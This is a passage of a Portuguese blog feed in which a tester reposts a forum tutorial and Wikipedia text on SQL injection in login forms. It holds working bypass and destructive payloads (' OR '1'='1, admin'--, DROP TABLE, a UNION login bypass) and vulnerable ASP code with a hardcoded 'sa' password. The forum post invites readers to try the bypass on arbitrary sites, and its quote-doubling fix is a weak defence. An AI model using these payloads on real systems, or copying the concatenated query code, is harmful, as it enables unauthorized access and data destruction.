src='https://blogger.googleusercontent.com/tracker/903428653458405755-3204299663196600423?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/3204299663196600423/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/artigo-de-marcelo-r-gomes-publicado-nas.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/3204299663196600423?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/3204299663196600423?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/artigo-de-marcelo-r-gomes-publicado-nas.html' title='artigo de  Marcelo R. Gomes Publicado: Nas edições da H4CK3R , da Editora Digerati'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;C08GQXczeip7ImA9Wx9QEE8.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-6192826104147213621</id><published>2010-12-22T04:25:00.000-08:00</published><updated>2010-12-22T04:43:40.982-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-22T04:43:40.982-08:00</app:edited><title>Materia.</title><content type='html'>Olá.. hoje falarei sobre segurança nos formulários.. principalmente nos Logins!&lt;br /&gt;&lt;br /&gt;Muitos novatos (inclusive eu) desenvolvem seus sites.. pensando que está tudo OK, e tudo mais.. mas na verdade, quando tratamos de algum sistema de onde o usuário se cadastra, e depois efetua o eventual Login, não podemos vacilar.. pois hoje em dia, são muitos os "hackers" por aí...&lt;br /&gt;e por isso, toda a segurança é bem vinda!&lt;br /&gt;&lt;br /&gt;Bom, para os que não sabem, na maioria dos sites onde tem um sistema de membros, e um botão para efetuar o "LOGIN", se não for muito bem esquematizado, qualquer um pode efetuar um login... mesmo sem saber senha alguma!&lt;br /&gt;É.. é isso mesmo..&lt;br /&gt;Mas isso não acontece em todos as páginas, acontece geralmente nas páginas feitas por gente que não entende muito de SQL, ou até mesmo de Asp..&lt;br /&gt;Bom.. na prática é muito simples.. é só você ir até algum site, e digitar uma aspa simples (') .. e depois clicar em enviar, submit, login, ou algo do genero..&lt;br /&gt;Se ao clicar nesse botão, gerar um belo erro de script, então é isso mesmo.. caminho está livre!&lt;br /&gt;Como fazer? Simples!&lt;br /&gt;Apenas digite no login e na senha:&lt;br /&gt;'OR '1' = '1 .. isso irá liberar um user logado para você!&lt;br /&gt;Geralmente ele logará com o primeiro NICK do banco de dados.. mas pode acontecer de ser aleatório.. isso depende da estrutura do site em questão..&lt;br /&gt;Imaginem isso: O cara se cadastra em um site de compras online, e lá põe seus dados como CPF, Cartão de crédito, RG, e tudo mais.. para depois se logar, e fazer as compras, que serão debitadas no user dele.. no site mesmo..&lt;br /&gt;Imaginem se alguém se loga no nome dele, rouba os dados, e ainda faz uma compra gigantesca!&lt;br /&gt;Perigoso, não?&lt;br /&gt;E como resolver isso?&lt;br /&gt;Simples! Apenas temos que fazer com que não dê erro em nossas paginas quando alguém digitar o caracter (').. a famosa aspa simples...&lt;br /&gt;Para fazer isso é assim:&lt;br /&gt;A aspa simples é o caracter 39 do teclado..&lt;br /&gt;então usamos um comando que substitui ela por duas delas, pois aí o comando sql entende como se fosse apenas uma, e envia só uma pro BD!&lt;br /&gt;a sintaxe é:&lt;br /&gt;Var_User = Replace(Request.Form("user"),chr(39),"''")&lt;br /&gt;&lt;br /&gt;e façam o mesmo para o campo senha..&lt;br /&gt;isso substitui a aspa simples por duas aspas simples.. e apenas uma é inserida no BD! e isso não ocasiona erro algum.&lt;br /&gt;&lt;br /&gt;Bom gente.. é isso aí!&lt;br /&gt;Abraços!&lt;br /&gt;Matéria editada por:&lt;br /&gt;Rogério Lanzarin - (Dark)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;retirado de : http://www.scriptbrasil.com.br/forum/lofiversion/index.php/t9757.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-6192826104147213621?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/6192826104147213621/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/materia.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/6192826104147213621?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/6192826104147213621?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/materia.html' title='Materia.'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DEMGQX8zeSp7ImA9Wx9QEEw.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-560986352079961062</id><published>2010-12-22T03:10:00.000-08:00</published><updated>2010-12-22T03:13:40.181-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-22T03:13:40.181-08:00</app:edited><title>SQL Injection</title><content type='html'>&lt;h1 id="firstHeading" class="firstHeading"&gt;Injeção de SQL&lt;/h1&gt;                      &lt;div id="siteSub"&gt;Origem: Wikipédia, a enciclopédia livre.&lt;/div&gt;&lt;br /&gt;A &lt;b&gt;Injeção de SQL&lt;/b&gt;, mais conhecida através do termo americano &lt;i&gt;SQL Injection&lt;/i&gt;, é um tipo de ameaça de &lt;a href="http://pt.wikipedia.org/wiki/Seguran%C3%A7a" title="Segurança"&gt;segurança&lt;/a&gt; que se aproveita de falhas em sistemas que interagem com &lt;a href="http://pt.wikipedia.org/wiki/Bases_de_dados" title="Bases de dados" class="mw-redirect"&gt;bases de dados&lt;/a&gt; via &lt;a href="http://pt.wikipedia.org/wiki/SQL" title="SQL"&gt;SQL&lt;/a&gt;. A injeção de SQL ocorre quando o atacante consegue inserir uma série de &lt;a href="http://pt.wikipedia.org/wiki/Instru%C3%A7%C3%B5es" title="Instruções" class="mw-redirect"&gt;instruções&lt;/a&gt;&lt;p&gt; SQL dentro de uma consulta (query) através da manipulação das entrada de dados de uma aplicação.&lt;/p&gt;  &lt;p&gt;Para exemplificar o funcionamento da injeção de SQL, consideremos uma instrução &lt;a href="http://pt.wikipedia.org/wiki/SQL" title="SQL"&gt;SQL&lt;/a&gt; comum:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;div dir="ltr" class="mw-geshi" style="text-align: left;"&gt; &lt;div class="sql source-sql" style="font-family: monospace;"&gt; &lt;pre class="de1"&gt;&lt;span class="kw1"&gt;SELECT&lt;/span&gt; id&lt;span class="sy0"&gt;,&lt;/span&gt; nome&lt;span class="sy0"&gt;,&lt;/span&gt; sobrenome &lt;span class="kw1"&gt;FROM&lt;/span&gt; autores;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;Essa instrução, que representa uma &lt;a href="http://pt.wikipedia.org/wiki/SQL#DQL_-_Linguagem_de_Consulta_de_Dados" title="SQL"&gt;consulta&lt;/a&gt;  na base de dados, retorna todas os registros das colunas "id", "nome" e  "sobrenome" da tabela "autores". A partir desta mesma instrução, os  registros a serem retornados podem ser restritos através da inclusão da &lt;a href="http://pt.wikipedia.org/wiki/SQL#Cl.C3.A1usulas" title="SQL"&gt;cláusula WHERE&lt;/a&gt;, como é visto no exemplo abaixo:&lt;/p&gt; &lt;div dir="ltr" class="mw-geshi" style="text-align: left;"&gt; &lt;div class="sql source-sql" style="font-family: monospace;"&gt; &lt;pre class="de1"&gt;&lt;span class="kw1"&gt;&lt;br /&gt;&lt;br /&gt;SELECT&lt;/span&gt; id&lt;span class="sy0"&gt;,&lt;/span&gt; nome&lt;span class="sy0"&gt;,&lt;/span&gt; sobrenome &lt;span class="kw1"&gt;FROM&lt;/span&gt; autores &lt;span class="kw1"&gt;WHERE&lt;/span&gt; nome &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;'josé'&lt;/span&gt; &lt;span class="kw1"&gt;AND&lt;/span&gt; sobrenome &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;'silva'&lt;/span&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Com base nesta instrução, é fácil supor que "josé" e "silva" são &lt;a href="http://pt.wikipedia.org/wiki/String" title="String" class="mw-redirect"&gt;strings&lt;/a&gt;, cujo conteúdo será preenchido pela entrada feita por algum usuário que estiver fazendo uso da aplicação.&lt;/p&gt; &lt;p&gt;Portanto, supondo que a aplicação não faça o tratamento apropriado do  conteúdo inserido pelo usuário, o mesmo pode fazer o uso acidental do  caractere de aspas simples. Gerando a entrada:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;nome = &lt;i&gt;jo'sé&lt;/i&gt;&lt;/li&gt;&lt;li&gt;sobrenome = &lt;i&gt;silva&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;E fazendo com que a aplicação gere o código:&lt;/p&gt; &lt;div dir="ltr" class="mw-geshi" style="text-align: left;"&gt; &lt;div class="sql source-sql" style="font-family: monospace;"&gt; &lt;pre class="de1"&gt;&lt;span class="kw1"&gt;&lt;br /&gt;&lt;br /&gt;SELECT&lt;/span&gt; id&lt;span class="sy0"&gt;,&lt;/span&gt; nome&lt;span class="sy0"&gt;,&lt;/span&gt; sobrenome &lt;span class="kw1"&gt;FROM&lt;/span&gt; autores &lt;span class="kw1"&gt;WHERE&lt;/span&gt; nome &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;'jo'&lt;/span&gt;sé&lt;span class="st0"&gt;' AND sobrenome = '&lt;/span&gt;silva&lt;span class="st0"&gt;';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;De acordo com a especificação da &lt;a href="http://pt.wikipedia.org/wiki/Linguagem" title="Linguagem"&gt;linguagem&lt;/a&gt; SQL, existe um erro de &lt;a href="http://pt.wikipedia.org/wiki/Sintaxe" title="Sintaxe"&gt;sintaxe&lt;/a&gt; nessa instrução, uma vez que a string passada para o campo &lt;b&gt;nome&lt;/b&gt; é a apenas palavra "jo", pois a adição das aspas simples quebrou a delimitação das aspas simples originais da consulta. O &lt;a href="http://pt.wikipedia.org/wiki/Interpretador" title="Interpretador"&gt;interpretador&lt;/a&gt;  do SQL espera que o restante da instrução seja outros comandos SQL  válidos que complementem a instrução principal. No entanto, como "sé"  não é um identificador válido, essa instrução não será executada e  retornará um erro.&lt;/p&gt; &lt;p&gt;Com base neste problema, um possível atacante pode manipular os dados  de entrada a fim de gerar um comportamento não esperado na base de  dados.&lt;/p&gt; &lt;p&gt;Para exemplificar este conceito, consideremos na mesma consulta apresentada, a entrada dos seguintes dados pela aplicação:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;nome = &lt;i&gt;jo'; DROP TABLE autores ; --&lt;/i&gt;&lt;/li&gt;&lt;li&gt;sobrenome = &lt;i&gt;silva&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Fazendo com que a aplicação gere o código:&lt;/p&gt; &lt;div dir="ltr" class="mw-geshi" style="text-align: left;"&gt; &lt;div class="sql source-sql" style="font-family: monospace;"&gt; &lt;pre class="de1"&gt;&lt;span class="kw1"&gt;&lt;br /&gt;&lt;br /&gt;SELECT&lt;/span&gt; id&lt;span class="sy0"&gt;,&lt;/span&gt; nome&lt;span class="sy0"&gt;,&lt;/span&gt; sobrenome &lt;span class="kw1"&gt;FROM&lt;/span&gt; autores &lt;span class="kw1"&gt;WHERE&lt;/span&gt; nome &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;'jo'&lt;/span&gt;; &lt;span class="kw1"&gt;DROP&lt;/span&gt; &lt;span class="kw1"&gt;TABLE&lt;/span&gt; autores ; &lt;span class="co1"&gt;--' AND sobrenome = 'silva';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;Neste caso, a instrução será executada normalmente, pois não há um erro de sintaxe, no entanto, com a adição do &lt;a href="http://pt.wikipedia.org/wiki/Caractere" title="Caractere"&gt;caractere&lt;/a&gt; &lt;a href="http://pt.wikipedia.org/wiki/Ponto-e-v%C3%ADrgula" title="Ponto-e-vírgula" class="mw-redirect"&gt;ponto-e-vírgula&lt;/a&gt;,  a instrução foi dada como finalizada de modo prematuro dando espaço  para uma nova instrução. Essa nova instrução, que poderia ser qualquer  uma escolhida pelo atacante, pode ser a responsável por retornar dados  confidenciais armazenados na base de dados ou de executar instruções que  comprometam o sistema, como a remoção de dados e/ou tabelas, como pode  ser visto no exemplo apresentado.&lt;/p&gt; &lt;p&gt;Aparentemente um método para prevenir esse problema seria a remoção  de aspas simples dos campos de inserção da aplicação, ou simplesmente  não executando a query nestas situações. Isso é verdade, mas existem  várias dificuldades com esse método tanto quanto soluções. Primeiro, nem  todos os usuários inserem dados em forma de strings. Se o usuário puder  selecionar um autor pelo 'id' (presumivelmente um &lt;a href="http://pt.wikipedia.org/wiki/N%C3%BAmero" title="Número"&gt;número&lt;/a&gt;) por exemplo, nossa query aparecerá como abaixo:&lt;/p&gt; &lt;div dir="ltr" class="mw-geshi" style="text-align: left;"&gt; &lt;div class="sql source-sql" style="font-family: monospace;"&gt; &lt;pre class="de1"&gt;&lt;span class="kw1"&gt;&lt;br /&gt;&lt;br /&gt;SELECT&lt;/span&gt; id&lt;span class="sy0"&gt;,&lt;/span&gt; forename&lt;span class="sy0"&gt;,&lt;/span&gt; surname &lt;span class="kw1"&gt;FROM&lt;/span&gt; authors &lt;span class="kw1"&gt;WHERE&lt;/span&gt; id&lt;span class="sy0"&gt;=&lt;/span&gt;&lt;span class="nu0"&gt;1234&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;Nesta situação, o atacante pode simplesmente adicionar uma instrução SQL no fim do 'input' numérico. Verificando os &lt;a href="http://pt.wikipedia.org/wiki/Dialeto" title="Dialeto"&gt;dialetos&lt;/a&gt; de SQL, vários delimitadores podem ser usados no &lt;a href="http://pt.wikipedia.org/wiki/Microsoft" title="Microsoft"&gt;Microsoft&lt;/a&gt; Jet &lt;a href="http://pt.wikipedia.org/wiki/DBMS" title="DBMS" class="mw-redirect"&gt;DBMS&lt;/a&gt; engine, por exemplo, datas podem ser delimitadas com o caracter &lt;a href="http://pt.wikipedia.org/wiki/Sustenido" title="Sustenido"&gt;sustenido&lt;/a&gt;. Portanto, escapando da execução da adição de aspas simples, não necessariamente uma solução como demonstrado anteriormente.&lt;/p&gt; &lt;p&gt;Pode-se ilustrar esse ponto usando um exemplo de página de &lt;a href="http://pt.wikipedia.org/wiki/Login" title="Login"&gt;login&lt;/a&gt; em &lt;a href="http://pt.wikipedia.org/wiki/Active_Server_Pages" title="Active Server Pages" class="mw-redirect"&gt;Active Server Pages&lt;/a&gt; (&lt;a href="http://pt.wikipedia.org/wiki/ASP" title="ASP"&gt;ASP&lt;/a&gt;), que acessa um servidor de banco de dados SQL e tenta autenticar o acesso em uma aplicação fictícia.&lt;/p&gt; &lt;p&gt;Abaixo está um pedaço de código de uma página de formulário, em que um usuário insere o username e o password para autenticação:&lt;/p&gt; &lt;p&gt;(...)&lt;/p&gt; &lt;div dir="ltr" class="mw-geshi" style="text-align: left;"&gt; &lt;div class="java source-java" style="font-family: monospace;"&gt; &lt;pre class="de1"&gt;&lt;br /&gt;function Login&lt;span class="br0"&gt;(&lt;/span&gt; cn &lt;span class="br0"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="br0"&gt;{&lt;/span&gt;&lt;br /&gt;  var username&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  var password&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  username &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;Request&lt;/span&gt;.&lt;span class="me1"&gt;form&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="st0"&gt;"username"&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  password &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;Request&lt;/span&gt;.&lt;span class="me1"&gt;form&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="st0"&gt;"password"&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  var rso &lt;span class="sy0"&gt;=&lt;/span&gt; Server.&lt;span class="me1"&gt;CreateObject&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="st0"&gt;"ADODB.Recordset"&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  var sql &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;"select * from users where username = '"&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; username &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;"' and password = '"&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; password &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;"'"&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  trace&lt;span class="br0"&gt;(&lt;/span&gt; &lt;span class="st0"&gt;"query: "&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; sql &lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  rso.&lt;span class="me1"&gt;open&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt; sql, cn &lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span class="kw1"&gt;if&lt;/span&gt; &lt;span class="br0"&gt;(&lt;/span&gt;rso.&lt;span class="me1"&gt;EOF&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;  &lt;span class="br0"&gt;{&lt;/span&gt;&lt;br /&gt;     rso.&lt;span class="me1"&gt;close&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span class="br0"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="br0"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;function Main&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="br0"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span class="co1"&gt;//Set up connection&lt;/span&gt;&lt;br /&gt;  var username&lt;br /&gt;  var cn &lt;span class="sy0"&gt;=&lt;/span&gt; Server.&lt;span class="me1"&gt;createobject&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt; &lt;span class="st0"&gt;"ADODB.Connection"&lt;/span&gt; &lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  cn.&lt;span class="me1"&gt;connectiontimeout&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="nu0"&gt;20&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  cn.&lt;span class="me1"&gt;open&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt; &lt;span class="st0"&gt;"localserver"&lt;/span&gt;, &lt;span class="st0"&gt;"sa"&lt;/span&gt;, &lt;span class="st0"&gt;"password"&lt;/span&gt; &lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  username &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw1"&gt;new&lt;/span&gt; &lt;span class="kw3"&gt;String&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt; &lt;span class="kw3"&gt;Request&lt;/span&gt;.&lt;span class="me1"&gt;form&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="st0"&gt;"username"&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt; &lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span class="kw1"&gt;if&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt; username.&lt;span class="me1"&gt;length&lt;/span&gt; &lt;span class="sy0"&gt;&gt;&lt;/span&gt; 0&lt;span class="br0"&gt;)&lt;/span&gt;  &lt;span class="br0"&gt;{&lt;/span&gt;&lt;br /&gt;     Login&lt;span class="br0"&gt;(&lt;/span&gt; cn &lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span class="br0"&gt;}&lt;/span&gt;&lt;br /&gt;  cn.&lt;span class="me1"&gt;close&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span class="br0"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;A parte critica é a parte do 'process_login.ascp' que cria uma 'query string':&lt;/p&gt; &lt;div dir="ltr" class="mw-geshi" style="text-align: left;"&gt; &lt;div class="java source-java" style="font-family: monospace;"&gt; &lt;pre class="de1"&gt;&lt;br /&gt;&lt;br /&gt;var sql &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;"SELECT * FROM users WHERE username = '"&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; username &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;"' AND password = '"&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; password &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;"'"&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;Se o usuário inserir os seguintes dados:&lt;/p&gt; &lt;div dir="ltr" class="mw-geshi" style="text-align: left;"&gt; &lt;div class="java source-java" style="font-family: monospace;"&gt; &lt;pre class="de1"&gt;&lt;span class="sy0"&gt;*&lt;/span&gt; Username&lt;span class="sy0"&gt;:&lt;/span&gt; &lt;span class="st0"&gt;'; drop table users--&lt;br /&gt;* Password:&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;... a tabela 'users' será apagada, negando o acesso para todos os  usuários. A seqüência de caracteres '--' é o comentário de uma linha de  SQL, a o ';' denota o fim de uma query e o começo de outra. O '--' no  fim do campo username é requerido para que a query em questão seja  executada sem erros.&lt;/p&gt; &lt;p&gt;O atacante pode logar como qualquer usuário, se souber o nome do usuário, usando o input abaixo:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Username: admin'--&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;O atacante pode logar como o primeiro usuário da tabelas 'users', com a inserção abaixo:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Username: ' or 1=1--&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;O atacante pode ainda logar como um usuário completamente fictício com o input abaixo:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Username: ' union select 1, 'fictional_user', 'some_password', 1--&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;A razão para que isso funcione é que a aplicação acredita que a linha  'constante' que o atacante especificou é parte do 'recordset'  recuperado da base de dados.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Retirado da Wikipedia&lt;br /&gt;&lt;span class="editsection"&gt;&lt;/span&gt;&lt;span class="mw-headline" id="Ver_tamb.C3.A9m"&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-560986352079961062?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/560986352079961062/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/sql-injection.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/560986352079961062?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/560986352079961062?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/sql-injection.html' title='SQL Injection'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DEUFRnY-fSp7ImA9Wx9QEEw.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-1088803869124561061</id><published>2010-12-22T03:07:00.001-08:00</published><updated>2010-12-22T03:10:17.855-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-22T03:10:17.855-08:00</app:edited><title></title><content type='html'>nesse exato momento vou começar a fazer os testes funcionais...&lt;br /&gt;estou testando a sergurança do sistema... entao pressiso de aprender muito e de forma rapida  sobre Sql Injection  PHP injection e XSS (Cross Site Scripting) entao agora os post a serguir serao sobre isso&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-1088803869124561061?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/1088803869124561061/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/nesse-exato-momento-vou-comecar-fazer.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/1088803869124561061?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/1088803869124561061?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/nesse-exato-momento-vou-comecar-fazer.html' title=''/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;A0AEQHY7eCp7ImA9Wx9RGUg.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-9075620051654007636</id><published>2010-12-21T11:25:00.001-08:00</published><updated>2010-12-21T11:28:21.800-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-21T11:28:21.800-08:00</app:edited><title>Lembrete</title><content type='html'>Resolução máxima de layout para que o mesmo não crie barras de rolagem verticais nem horizontais&lt;br /&gt;&lt;br /&gt;800x600  - 781X444  pixels&lt;br /&gt;1024x768 - 1005X612 pixels&lt;br /&gt;1152x864 - 1261x868 pixels&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-9075620051654007636?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/9075620051654007636/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/lembrete.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/9075620051654007636?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/9075620051654007636?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/lembrete.html' title='Lembrete'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;A08ERn87fCp7ImA9Wx9RGUg.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-8212894998193082846</id><published>2010-12-21T11:22:00.000-08:00</published><updated>2010-12-21T11:30:07.104-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-21T11:30:07.104-08:00</app:edited><title>A historia do virus</title><content type='html'>&lt;div&gt; &lt;h3&gt;'Vírus'&lt;/h3&gt;&lt;br 